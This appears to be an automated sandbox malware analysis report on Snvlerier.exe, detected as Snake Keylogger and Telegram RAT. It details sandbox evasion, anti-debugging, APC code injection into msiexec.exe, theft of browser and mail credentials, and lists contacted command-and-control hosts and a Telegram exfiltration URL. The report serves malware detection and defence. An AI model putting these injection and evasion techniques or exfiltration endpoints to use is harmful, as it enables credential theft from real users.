Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -595906s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -595797s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -595343s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -595124s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -595015s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -594906s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -594796s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -594687s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 8004	Thread sleep time: -594578s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Snvlerier.exe	Code function: 0_2_00405FF1 FindFirstFileA,FindClose,	0_2_00405FF1
Source: C:\Users\user\Desktop\Snvlerier.exe	Code function: 0_2_0040264F FindFirstFileA,	0_2_0040264F
Source: C:\Users\user\Desktop\Snvlerier.exe	Code function: 0_2_004055CA CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004055CA

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597468	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597359	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597250	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597140	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597031	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596922	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596812	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596703	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596454	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595124	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594796	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594578	Jump to behavior

Source: msiexec.exe, 00000006.00000002.3053737496.000000000576A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3053737496.00000000057C7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\Snvlerier.exe	API call chain: ExitProcess graph end node			graph_0-3352
Source: C:\Users\user\Desktop\Snvlerier.exe	API call chain: ExitProcess graph end node			graph_0-3515

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Hides threads from debuggers

Anti Debugging

Source: C:\Windows\SysWOW64\msiexec.exe

Thread information set: HideFromDebugger

Source: C:\Windows\SysWOW64\msiexec.exe

Process queried: DebugPort

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 1_2_0087D869 LdrInitializeThunk,

1_2_0087D869

Source: C:\Users\user\Desktop\Snvlerier.exe

Code function: 0_2_00406018 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00406018

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 3D60000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"

Yara detected Snake Keylogger

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\SysWOW64\msiexec.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Snvlerier.exe

Code function: 0_2_00405D0F GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_00405D0F

Stealing of Sensitive Information

Source: Yara match

File source: 00000006.00000002.3066949084.0000000021501000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 7824, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\msiexec.exe

File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\

Yara detected Snake Keylogger

Source: Yara match	File source: 00000006.00000002.3066949084.0000000021608000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 7824, type: MEMORYSTR

Remote Access Functionality

Source: Yara match

File source: 00000006.00000002.3066949084.0000000021501000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: msiexec.exe PID: 7824, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	2 Obfuscated Files or Information	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	311 Process Injection	1 Software Packing	LSASS Memory	14 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Masquerading	NTDS	1 Process Discovery	Distributed Component Object Model	1 Clipboard Data	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	131 Virtualization/Sandbox Evasion	LSA Secrets	131 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	311 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Snvlerier.exe	8%	ReversingLabs
Snvlerier.exe	27%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Snvlerier.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\carinal\Coracosteon\Snvlerier.exe	27%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\nsm2DDB.tmp	0%	Virustotal	Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
drive.google.com	0%	Virustotal	Browse
drive.usercontent.google.com	1%	Virustotal	Browse
reallyfreegeoip.org	0%	Virustotal	Browse
smtp.ionos.es	1%	Virustotal	Browse
api.telegram.org	2%	Virustotal	Browse
checkip.dyndns.com	0%	Virustotal	Browse
checkip.dyndns.org	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_Error	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/8.46.123.33$	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
https://www.office.com/	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://api.telegram.org/bot	4%	Virustotal		Browse
https://api.telegram.org	1%	Virustotal		Browse
http://smtp.ionos.es	1%	Virustotal		Browse
https://www.office.com/lB	0%	Virustotal		Browse
https://www.office.com/H	0%	Virustotal		Browse
https://drive.usercontent.google.com/	0%	Virustotal		Browse
https://api.telegram.org/bot/sendMessage?chat_id=&text=	2%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://chrome.google.com/webstore?hl=en	0%	Virustotal		Browse
http://varders.kozow.com:8081	15%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
http://aborters.duckdns.org:8081	14%	Virustotal		Browse
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:179605%0D%0ADate%20a	1%	Virustotal		Browse
http://anotherarmy.dns.army:8081	18%	Virustotal		Browse
http://51.38.247.67:8081/_send_.php?L	7%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	142.250.185.110	true	false	0%, Virustotal, Browse	unknown
drive.usercontent.google.com	142.250.185.97	true	false	1%, Virustotal, Browse	unknown
reallyfreegeoip.org	188.114.96.3	true	true	0%, Virustotal, Browse	unknown
smtp.ionos.es	213.165.67.118	true	true	1%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	true	2%, Virustotal, Browse	unknown
checkip.dyndns.com	193.122.130.0	true	false	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:179605%0D%0ADate%20and%20Time:%2014/10/2024%20/%2014:08:15%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20179605%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
https://reallyfreegeoip.org/xml/8.46.123.33	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	msiexec.exe, 00000006.00000002.3066949084.00000000216F2000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.2188765329.00000000056FB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	msiexec.exe, 00000006.00000002.3066949084.00000000215E5000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.2185474928.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot	msiexec.exe, 00000006.00000002.3066949084.00000000215E5000.00000004.00000800.00020000.00000000.sdmp	false	4%, Virustotal, Browse	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.2185474928.00000000047E6000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://drive.usercontent.google.com/Fp	msiexec.exe, 00000006.00000003.2259064820.00000000057DF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2259151965.0000000005814000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.2188765329.00000000056FB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/lB	msiexec.exe, 00000006.00000002.3066949084.00000000216ED000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.2188765329.00000000056FB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.usercontent.google.com/Aq	msiexec.exe, 00000006.00000002.3053737496.00000000057C7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2259064820.00000000057DF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2259151965.0000000005814000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.office.com/H	msiexec.exe, 00000006.00000002.3066949084.00000000216E3000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://drive.usercontent.google.com/	msiexec.exe, 00000006.00000002.3053737496.00000000057C7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2259064820.00000000057DF000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2259151965.0000000005814000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://checkip.dyndns.org	msiexec.exe, 00000006.00000002.3066949084.0000000021501000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
